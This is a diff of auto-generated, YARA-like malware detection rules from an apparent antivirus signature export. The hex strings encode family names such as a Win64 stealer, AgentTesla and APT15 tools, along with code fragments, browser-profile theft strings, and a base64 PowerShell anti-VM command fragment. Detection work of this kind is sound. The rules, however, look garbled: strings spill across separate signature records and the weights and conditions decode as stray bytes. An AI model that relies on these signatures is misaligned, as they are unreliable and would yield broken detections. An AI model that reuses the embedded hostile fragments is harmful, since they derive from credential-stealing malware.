01 00 1f 00 1f 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 74 65 61 6c 65 72 2e 4c 4d 21 4d 54 42 00 14 00 83 03 48 33 c5 48 89 85 f8 07 00 00 48 8d 0d 90 01 0a 48 89 45 08 45 33 c0 48 8d 15 90 } //29516 + $a_8d_4 = {d8 03 00 00 e8 90 01 04 90 90 45 33 c0 48 8d 15 90 01 04 48 8d 8d 18 04 00 00 e8 90 01 02 fd ff 90 90 45 33 c0 48 8d 15 90 01 04 48 8d 8d 58 04 00 00 e8 90 01 02 fd ff 90 90 45 33 c0 48 8d 15 90 01 04 48 8d 8d 98 04 } //1025 + $a_90_5 = {04 90 90 45 33 c0 48 8d 15 90 01 04 48 8d 8d d8 04 00 00 e8 90 00 0a 00 38 01 50 72 6f 66 69 6c 65 73 00 00 00 00 00 00 00 00 46 69 72 65 66 6f 78 00 00 00 00 00 00 00 00 00 4d 6f 7a 69 6c 6c 61 00 00 00 00 00 00 00 00 00 52 6f 61 6d 69 6e 67 00 01 00 5b 01 b8 01 00 00 00 48 6b c0 00 0f b6 84 05 84 00 00 00 b9 01 00 00 00 48 6b c9 01 0f b6 8c 0d 84 00 00 00 83 e1 30 c1 f9 04 8d 04 81 b9 01 00 00 00 48 6b c9 00 88 84 0d a4 00 00 00 b8 01 00 00 00 48 6b c0 01 0f b6 84 05 84 00 00 00 83 e0 0f c1 e0 04 b9 01 00 00 00 48 6b c9 02 00 00 78 4d 01 00 03 00 03 00 05 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 52 61 6e 67 65 53 63 61 6e 00 01 00 3a 03 52 00 61 00 6e 00 } //0 + $a_00_6 = {53 00 63 00 61 00 6e 00 2e 00 45 00 58 00 45 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 43 03 3c 62 72 3e 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 62 3e 52 61 6e 67 65 53 63 61 6e 20 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 } //103 + $a_2d_8 = {41 2d 5a 30 2d 39 90 00 01 00 30 03 50 72 6f 64 75 63 65 64 20 62 79 20 69 73 6e 30 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 32 03 52 00 61 00 6e 00 67 00 65 00 53 00 63 00 61 00 6e 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 } //2305 + $a_2c_9 = {09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 31 03 25 64 2d 25 64 2d 25 64 20 25 64 3a 25 64 3a 25 64 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 00 00 78 4d 01 00 04 00 04 00 04 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 44 4b 5f 42 72 75 74 65 00 01 00 36 03 67 65 74 5f 43 72 61 63 6b 65 64 43 72 65 64 65 6e 74 69 61 6c 73 90 19 01 09 61 2d 7a 41 2d } //2 + $a_39_10 = {09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 76 03 53 00 61 00 6d 00 65 00 20 00 70 00 6f 00 72 00 74 00 20 00 75 00 73 } //12378 + $a_00_12 = {6f 00 72 00 20 00 74 00 77 00 6f 00 20 00 64 00 69 00 66 00 66 00 65 00 72 00 65 00 6e 00 74 00 20 00 70 00 72 00 6f 00 74 00 6f 00 63 00 6f 00 6c 00 73 00 3a 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 2e 03 63 6f 64 65 64 20 62 79 20 66 4c 61 } //32 + $a_19_13 = {09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 3b 03 67 65 74 5f 67 72 62 54 6f 6f 6c 73 53 63 61 6e 69 6e 67 43 72 61 63 6b 69 6e 67 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 00 00 78 4d 01 00 04 00 04 00 04 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 49 72 6f 6e 50 61 6e 64 61 5f 4d 61 6c 77 61 72 65 } //26707 + $a_00_14 = {3c } //52 < + condition: + ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*30050+(#a_6e_2 & 1)*18547+(#a_45_3 & 1)*29516+(#a_8d_4 & 1)*1025+(#a_90_5 & 1)*0+(#a_00_6 & 1)*103+(#a_2d_8 & 1)*2305+(#a_2c_9 & 1)*2+(#a_39_10 & 1)*12378+(#a_00_12 & 1)*32+(#a_19_13 & 1)*26707+(#a_00_14 & 1)*52) >=15 + +} +rule _InfrastructureShared_19208{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1f 00 1f 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 74 65 61 6c 65 72 2e 4c 4d 21 4d 54 42 00 14 00 83 03 48 33 c5 48 89 85 f8 07 00 00 48 8d 0d 90 01 0a 48 89 45 08 45 33 c0 48 8d 15 90 01 04 48 8d 8d d8 03 00 00 e8 } //21539 + $a_90_1 = {45 33 c0 48 } //400 + $a_01_2 = {04 48 8d 8d 18 04 00 00 e8 90 01 02 fd ff 90 90 45 33 c0 48 8d 15 90 01 04 48 8d 8d 58 04 00 00 e8 90 01 02 fd ff 90 90 45 33 c0 48 8d 15 90 01 04 48 8d 8d 98 04 00 00 e8 90 01 04 90 90 45 33 c0 48 8d 15 90 01 04 48 8d 8d d8 04 00 00 e8 90 00 0a 00 38 01 50 72 6f 66 69 6c 65 73 00 00 00 00 00 00 00 00 46 69 72 65 66 6f 78 00 00 00 00 00 00 00 00 00 4d 6f 7a 69 6c 6c 61 00 00 00 00 00 00 00 00 00 52 6f 61 6d 69 6e 67 00 01 00 5b } //5517 + condition: + ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*400+(#a_01_2 & 1)*5517) >=31 + +} +rule _InfrastructureShared_19209{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -217328,7 +231617,7 @@ rule _InfrastructureShared_18044{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*2305+(#a_61_2 & 1)*281+(#a_19_3 & 1)*1+(#a_2d_4 & 1)*31277) >=3 } -rule _InfrastructureShared_18045{ +rule _InfrastructureShared_19210{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -217340,7 +231629,7 @@ rule _InfrastructureShared_18045{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*11585+(#a_2d_3 & 1)*2305) >=4 } -rule _InfrastructureShared_18046{ +rule _InfrastructureShared_19211{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -217353,7 +231642,7 @@ rule _InfrastructureShared_18046{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*23085+(#a_00_2 & 1)*97+(#a_7a_3 & 1)*24841) >=4 } -rule _InfrastructureShared_18047{ +rule _InfrastructureShared_19212{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -217368,7 +231657,7 @@ rule _InfrastructureShared_18047{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*17970+(#a_66_2 & 1)*29509+(#a_6b_3 & 1)*28005+(#a_20_4 & 1)*8309+(#a_5a_5 & 1)*16762) >=6 } -rule _InfrastructureShared_18048{ +rule _InfrastructureShared_19213{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -217382,7 +231671,7 @@ rule _InfrastructureShared_18048{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*28792+(#a_2d_2 & 1)*2305+(#a_41_3 & 1)*11568+(#a_00_5 & 1)*92) >=6 } -rule _InfrastructureShared_18049{ +rule _InfrastructureShared_19214{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -217397,7 +231686,7 @@ rule _InfrastructureShared_18049{ ((#a_46_0 & 1)*16675+(#a_40_1 & 1)*25966+(#a_00_2 & 1)*101+(#a_00_4 & 1)*101+(#a_28_5 & 1)*25346+(#a_74_6 & 1)*24902) >=6 } -rule _InfrastructureShared_18050{ +rule _InfrastructureShared_19215{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -217413,7 +231702,7 @@ rule _InfrastructureShared_18050{ ((#a_46_0 & 1)*16675+(#a_11_1 & 1)*400+(#a_01_2 & 1)*7937+(#a_01_3 & 1)*10449+(#a_63_4 & 1)*26691+(#a_66_5 & 1)*21863+(#a_64_6 & 1)*26471) >=7 } -rule _InfrastructureShared_18051{ +rule _InfrastructureShared_19216{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -217430,7 +231719,7 @@ rule _InfrastructureShared_18051{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25970+(#a_74_2 & 1)*25712+(#a_72_3 & 1)*29808+(#a_6f_4 & 1)*29793+(#a_65_5 & 1)*30575+(#a_64_6 & 1)*11887+(#a_6e_7 & 1)*28515) >=8 } -rule _InfrastructureShared_18052{ +rule _InfrastructureShared_19217{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -217448,7 +231737,7 @@ rule _InfrastructureShared_18052{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*26912+(#a_6f_2 & 1)*17012+(#a_72_3 & 1)*25455+(#a_69_4 & 1)*385+(#a_69_5 & 1)*28261+(#a_6b_6 & 1)*24930+(#a_48_7 & 1)*8448+(#a_01_9 & 1)*7168) >=10 } -rule _InfrastructureShared_18053{ +rule _InfrastructureShared_19218{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -217466,7 +231755,7 @@ rule _InfrastructureShared_18053{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*28257+(#a_5c_2 & 1)*28265+(#a_72_3 & 1)*29797+(#a_64_4 & 1)*26219+(#a_73_5 & 1)*-32484+(#a_66_6 & 1)*25700+(#a_44_7 & 1)*29793+(#a_00_9 & 1)*115) >=10 } -rule _InfrastructureShared_18054{ +rule _InfrastructureShared_19219{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -217486,7 +231775,7 @@ rule _InfrastructureShared_18054{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*29540+(#a_68_2 & 1)*26214+(#a_6c_3 & 1)*385+(#a_00_4 & 1)*105+(#a_00_5 & 1)*32+(#a_00_7 & 1)*110+(#a_6e_8 & 1)*28484+(#a_00_10 & 1)*15737+(#a_3d_11 & 1)*18689+(#a_73_12 & 1)*2573) >=13 } -rule _InfrastructureShared_18055{ +rule _InfrastructureShared_19220{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff90 01 ffffff90 01 04 00 21 " @@ -217497,7 +231786,7 @@ rule _InfrastructureShared_18055{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*115) >=400 } -rule _InfrastructureShared_18056{ +rule _InfrastructureShared_19221{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -217510,7 +231799,7 @@ rule _InfrastructureShared_18056{ ((#a_46_0 & 1)*16675+(#a_61_2 & 1)*0+(#a_79_4 & 1)*28928+(#a_0d_5 & 1)*3428) >=1 } -rule _InfrastructureShared_18057{ +rule _InfrastructureShared_19222{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " @@ -217527,7 +231816,7 @@ rule _InfrastructureShared_18057{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*29810+(#a_4f_2 & 1)*29537+(#a_67_3 & 1)*27728+(#a_21_4 & 1)*16969+(#a_85_5 & 1)*795+(#a_66_6 & 1)*7056+(#a_90_7 & 1)*-29933) >=1 } -rule _InfrastructureShared_18058{ +rule _InfrastructureShared_19223{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -217538,7 +231827,7 @@ rule _InfrastructureShared_18058{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*10255) >=2 } -rule _InfrastructureShared_18059{ +rule _InfrastructureShared_19224{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -217552,7 +231841,7 @@ rule _InfrastructureShared_18059{ ((#a_77_0 & 1)*16675+(#a_85_1 & 1)*15892+(#a_14_2 & 1)*-5279+(#a_00_4 & 1)*115+(#a_01_5 & 1)*-28672) >=3 } -rule _InfrastructureShared_18060{ +rule _InfrastructureShared_19225{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -217564,7 +231853,7 @@ rule _InfrastructureShared_18060{ ((#a_46_0 & 1)*16675+(#a_19_1 & 1)*25637+(#a_39_2 & 1)*12297) >=4 } -rule _InfrastructureShared_18061{ +rule _InfrastructureShared_19226{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -217577,7 +231866,7 @@ rule _InfrastructureShared_18061{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*111+(#a_00_3 & 1)*83+(#a_00_4 & 1)*69) >=4 } -rule _InfrastructureShared_18062{ +rule _InfrastructureShared_19227{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -217592,7 +231881,7 @@ rule _InfrastructureShared_18062{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*100+(#a_00_2 & 1)*70+(#a_c0_3 & 1)*18680+(#a_38_4 & 1)*14382+(#a_72_5 & 1)*27503) >=4 } -rule _InfrastructureShared_18063{ +rule _InfrastructureShared_19228{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0b 00 21 " @@ -217601,28 +231890,15 @@ rule _InfrastructureShared_18063{ $a_2e_1 = {6f } //3840 o $a_65_2 = {75 70 73 2f 38 38 38 02 00 24 01 69 6e 73 74 61 6c 6c 65 72 5f 72 65 67 5f 70 61 74 68 20 3d 20 53 6f 66 74 77 61 72 65 5c 5c 70 6f 6b 65 72 02 00 11 01 2e 63 6f 6d 2f 63 6c 69 65 6e 74 69 70 2e 68 74 6d 01 00 16 01 2f 61 66 66 69 6c 69 61 74 65 6e 65 74 77 6f 72 6b 73 2e 61 73 70 01 00 29 01 72 65 70 6f 72 74 69 6e 73 74 61 6c 6c 65 72 2e 72 } //12141 $a_6f_3 = {2d 6c 6f 67 69 63 2e 63 6f 6d 2f 6c 6f 67 73 2e 61 73 70 01 00 10 01 2e 38 38 38 2e 63 6f 6d 2f 73 65 74 75 70 73 2f 01 00 17 01 2e 69 6d 61 67 65 73 34 61 70 70 2e 63 6f 6d 2f 73 65 74 75 70 73 2f 01 00 0f 01 53 6f 66 74 77 61 72 65 5c 5c 70 6f 6b 65 72 01 00 11 01 74 70 3a 2f 2f 73 65 74 75 70 73 } //28257 - $a_65_4 = {2e 00 00 78 4e 01 00 05 00 05 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 72 79 70 74 2e 50 47 4b 21 4d 54 42 00 03 00 54 01 24 63 6f 6d 6d 61 6e 64 20 3d 20 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 55 54 46 38 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e } //28528 - $a_76_5 = {72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 61 01 62 6d 4e 30 61 57 39 75 49 46 52 6c 63 33 51 74 56 6b 31 33 59 58 4a 6c 49 48 73 4b 49 43 41 67 49 43 52 32 62 58 64 68 63 6d 56 54 5a 58 4a 32 61 57 4e 6c 63 79 41 39 49 45 41 6f 49 6e 5a 74 5a 47 56 69 64 57 63 69 4c 43 41 69 64 6d 31 74 62 33 56 7a 5a } //28483 瑲㩝䘺潲䉭獡㙥匴牴湩ŧ愀戁乭愰㥗䥵剆捬儳噴ㅫ夳䩘䥬獈䥋䅃䥧剃戲摘捨噭婔䩘愲乗捬䅹䤹䅅䥯婮婴噇摩捗䱩䅃摩ㅭ扴嘳婺 - $a_49_6 = {4a 57 54 56 52 76 62 01 00 65 01 32 78 7a 49 69 77 67 49 6c 5a 4e 54 55 56 4e 51 31 52 4d 49 69 77 67 49 6e 52 77 59 58 56 30 62 32 4e 76 62 6d 35 7a 64 6d 4d 69 4c 43 41 69 64 48 42 32 59 32 64 68 64 47 56 33 59 58 6b 69 4c 43 41 69 64 6d 31 33 59 58 4a 6c 49 69 77 67 49 6e 64 74 59 32 6b 69 4c 43 41 69 64 6d 31 34 4f 44 59 69 4b 51 00 00 78 } //18771 - $a_41_9 = {46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 41 50 54 31 35 5f 4d 61 6c 77 61 72 65 5f 4d 61 } //8448 F:Y2V:Florian_Roth/APT15_Malware_Ma - $a_5f_10 = {53 45 78 63 68 61 6e 67 65 54 6f 6f 6c 00 01 00 13 01 5c 52 65 6c 65 61 73 65 5c 45 57 53 54 45 57 2e 70 64 62 01 00 34 03 45 00 57 00 53 00 54 00 45 00 57 00 2e 00 65 } //12658 + $a_65_4 = {2e 00 00 78 4e 01 00 05 00 05 00 05 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 41 50 54 31 35 5f 4d 61 6c 77 61 72 65 5f 4d 61 72 31 38 5f 4d 53 45 78 63 68 61 6e 67 65 54 6f 6f 6c 00 01 00 13 01 5c 52 65 6c 65 61 73 65 5c 45 57 53 54 45 57 2e 70 64 62 01 00 34 03 45 00 57 00 53 00 54 00 45 } //28528 + $a_00_6 = {65 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 43 03 4d 69 63 72 6f 73 6f 66 74 2e 45 78 63 68 61 6e 67 65 2e 57 65 62 53 65 72 76 69 63 65 73 2e 44 61 74 61 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 2e 03 74 00 6d 00 70 00 2e 00 64 00 61 } //101 + $a_2d_8 = {41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 40 03 2f 00 76 00 20 00 6f 00 72 00 20 00 2f 00 74 00 20 00 69 } //2305 + $a_00_10 = {6c 00 6c 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 00 00 78 4e 01 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 56 45 45 30 31 21 4d 54 42 00 01 00 79 81 01 57 bf a2 3f 09 0f 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 56 00 00 } //110 condition: - ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*3840+(#a_65_2 & 1)*12141+(#a_6f_3 & 1)*28257+(#a_65_4 & 1)*28528+(#a_76_5 & 1)*28483+(#a_49_6 & 1)*18771+(#a_41_9 & 1)*8448+(#a_5f_10 & 1)*12658) >=4 + ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*3840+(#a_65_2 & 1)*12141+(#a_6f_3 & 1)*28257+(#a_65_4 & 1)*28528+(#a_00_6 & 1)*101+(#a_2d_8 & 1)*2305+(#a_00_10 & 1)*110) >=4 } -rule _InfrastructureShared_18064{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 72 79 70 74 2e 50 47 4b 21 4d 54 42 00 03 00 54 01 24 63 6f 6d 6d 61 6e 64 20 3d 20 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 55 54 46 38 } //21539 - $a_74_1 = {74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 61 01 62 6d 4e 30 61 57 39 75 49 46 52 6c 63 33 51 74 56 6b 31 33 59 58 4a 6c 49 48 73 4b 49 43 41 67 49 43 52 32 62 58 64 68 63 6d 56 54 5a 58 4a 32 61 57 4e 6c 63 79 41 39 49 } //18222 - $a_49_2 = {5a 74 5a 47 56 69 64 57 63 69 4c 43 41 69 64 6d 31 74 62 33 56 7a 5a 53 49 73 49 43 4a 57 54 56 52 76 62 01 00 65 01 32 78 7a 49 69 77 67 49 6c 5a 4e 54 55 56 4e 51 31 52 4d 49 69 77 67 49 6e 52 77 59 58 56 30 62 32 4e 76 62 6d 35 7a 64 6d 4d 69 4c 43 41 69 64 48 42 32 59 32 64 68 64 47 56 33 59 58 6b 69 4c 43 41 69 64 6d 31 33 59 } //16709 - condition: - ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*18222+(#a_49_2 & 1)*16709) >=5 - -} -rule _InfrastructureShared_18065{ +rule _InfrastructureShared_19229{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -217635,7 +231911,7 @@ rule _InfrastructureShared_18065{ ((#a_46_0 & 1)*16675+(#a_45_1 & 1)*13312+(#a_00_3 & 1)*87+(#a_66_4 & 1)*29551) >=5 } -rule _InfrastructureShared_18066{ +rule _InfrastructureShared_19230{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -217645,7 +231921,7 @@ rule _InfrastructureShared_18066{ ((#a_54_0 & 1)*18467) >=5 } -rule _InfrastructureShared_18067{ +rule _InfrastructureShared_19231{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -217660,7 +231936,7 @@ rule _InfrastructureShared_18067{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*66+(#a_00_2 & 1)*110+(#a_00_3 & 1)*68+(#a_c4_4 & 1)*29191+(#a_81_5 & 1)*1) >=6 } -rule _InfrastructureShared_18068{ +rule _InfrastructureShared_19232{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -217675,7 +231951,7 @@ rule _InfrastructureShared_18068{ ((#a_54_0 & 1)*18467+(#a_0b_1 & 1)*1+(#a_01_3 & 1)*10240+(#a_66_4 & 1)*18773+(#a_6f_5 & 1)*25970+(#a_6e_6 & 1)*25701) >=7 } -rule _InfrastructureShared_18069{ +rule _InfrastructureShared_19233{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -217691,7 +231967,7 @@ rule _InfrastructureShared_18069{ ((#a_54_0 & 1)*18467+(#a_6e_2 & 1)*23553+(#a_74_3 & 1)*24924+(#a_73_4 & 1)*25971+(#a_00_5 & 1)*29541+(#a_61_6 & 1)*385+(#a_61_7 & 1)*27745) >=8 } -rule _InfrastructureShared_18070{ +rule _InfrastructureShared_19234{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -217710,7 +231986,7 @@ rule _InfrastructureShared_18070{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*29298+(#a_69_2 & 1)*29285+(#a_33_3 & 1)*14689+(#a_00_4 & 1)*144+(#a_58_5 & 1)*1+(#a_65_6 & 1)*27503+(#a_01_7 & 1)*3840+(#a_31_8 & 1)*13361+(#a_2d_9 & 1)*12589) >=10 } -rule _InfrastructureShared_18071{ +rule _InfrastructureShared_19235{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -217730,7 +232006,7 @@ rule _InfrastructureShared_18071{ ((#a_54_0 & 1)*18467+(#a_58_1 & 1)*22616+(#a_63_2 & 1)*27715+(#a_43_3 & 1)*26992+(#a_31_4 & 1)*13361+(#a_2d_5 & 1)*12589+(#a_2d_6 & 1)*17965+(#a_6f_7 & 1)*17921+(#a_54_8 & 1)*18467+(#a_65_9 & 1)*18689+(#a_01_10 & 1)*4352) >=11 } -rule _InfrastructureShared_18072{ +rule _InfrastructureShared_19236{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 08 00 21 " @@ -217745,7 +232021,7 @@ rule _InfrastructureShared_18072{ ((#a_54_0 & 1)*18467+(#a_34_1 & 1)*11572+(#a_43_3 & 1)*13825+(#a_2d_4 & 1)*12589+(#a_69_6 & 1)*18689+(#a_00_7 & 1)*66) >=18 } -rule _InfrastructureShared_18073{ +rule _InfrastructureShared_19237{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 0b 00 21 " @@ -217765,7 +232041,7 @@ rule _InfrastructureShared_18073{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*18689+(#a_01_2 & 1)*4352+(#a_4e_3 & 1)*0+(#a_6f_4 & 1)*23666+(#a_64_5 & 1)*29535+(#a_72_6 & 1)*12108+(#a_69_7 & 1)*28530+(#a_36_8 & 1)*14178+(#a_65_9 & 1)*24935+(#a_04_10 & 1)*-30457) >=22 } -rule _InfrastructureShared_18074{ +rule _InfrastructureShared_19238{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1a 00 1a 00 09 00 21 " @@ -217783,7 +232059,7 @@ rule _InfrastructureShared_18074{ ((#a_46_0 & 1)*16675+(#a_54_1 & 1)*12320+(#a_77_2 & 1)*22111+(#a_01_3 & 1)*4864+(#a_6d_4 & 1)*17153+(#a_74_5 & 1)*25970+(#a_65_6 & 1)*25924+(#a_01_7 & 1)*32141+(#a_72_8 & 1)*28780) >=26 } -rule _InfrastructureShared_18075{ +rule _InfrastructureShared_19239{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1c 00 1c 00 0d 00 21 " @@ -217805,7 +232081,7 @@ rule _InfrastructureShared_18075{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*29251+(#a_62_2 & 1)*9216+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_4e_6 & 1)*0+(#a_65_7 & 1)*13569+(#a_77_8 & 1)*24933+(#a_65_9 & 1)*28530+(#a_03_10 & 1)*450+(#a_15_11 & 1)*1672+(#a_00_12 & 1)*6146) >=28 } -rule _InfrastructureShared_18076{ +rule _InfrastructureShared_19240{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff91 00 ffffff8c 00 0a 00 21 " @@ -217824,7 +232100,7 @@ rule _InfrastructureShared_18076{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*-30463+(#a_73_2 & 1)*28793+(#a_41_3 & 1)*24949+(#a_90_4 & 1)*19336+(#a_02_5 & 1)*1497+(#a_05_6 & 1)*4098+(#a_00_7 & 1)*117+(#a_00_8 & 1)*32+(#a_00_9 & 1)*115) >=140 } -rule _InfrastructureShared_18077{ +rule _InfrastructureShared_19241{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0b 00 21 " @@ -217844,7 +232120,7 @@ rule _InfrastructureShared_18077{ ((#a_54_0 & 1)*18467+(#a_8a_1 & 1)*5888+(#a_02_2 & 1)*-28667+(#a_10_3 & 1)*-28672+(#a_57_4 & 1)*400+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1) >=1 } -rule _InfrastructureShared_18078{ +rule _InfrastructureShared_19242{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -217857,7 +232133,7 @@ rule _InfrastructureShared_18078{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*101+(#a_00_2 & 1)*73+(#a_00_3 & 1)*101) >=3 } -rule _InfrastructureShared_18079{ +rule _InfrastructureShared_19243{ 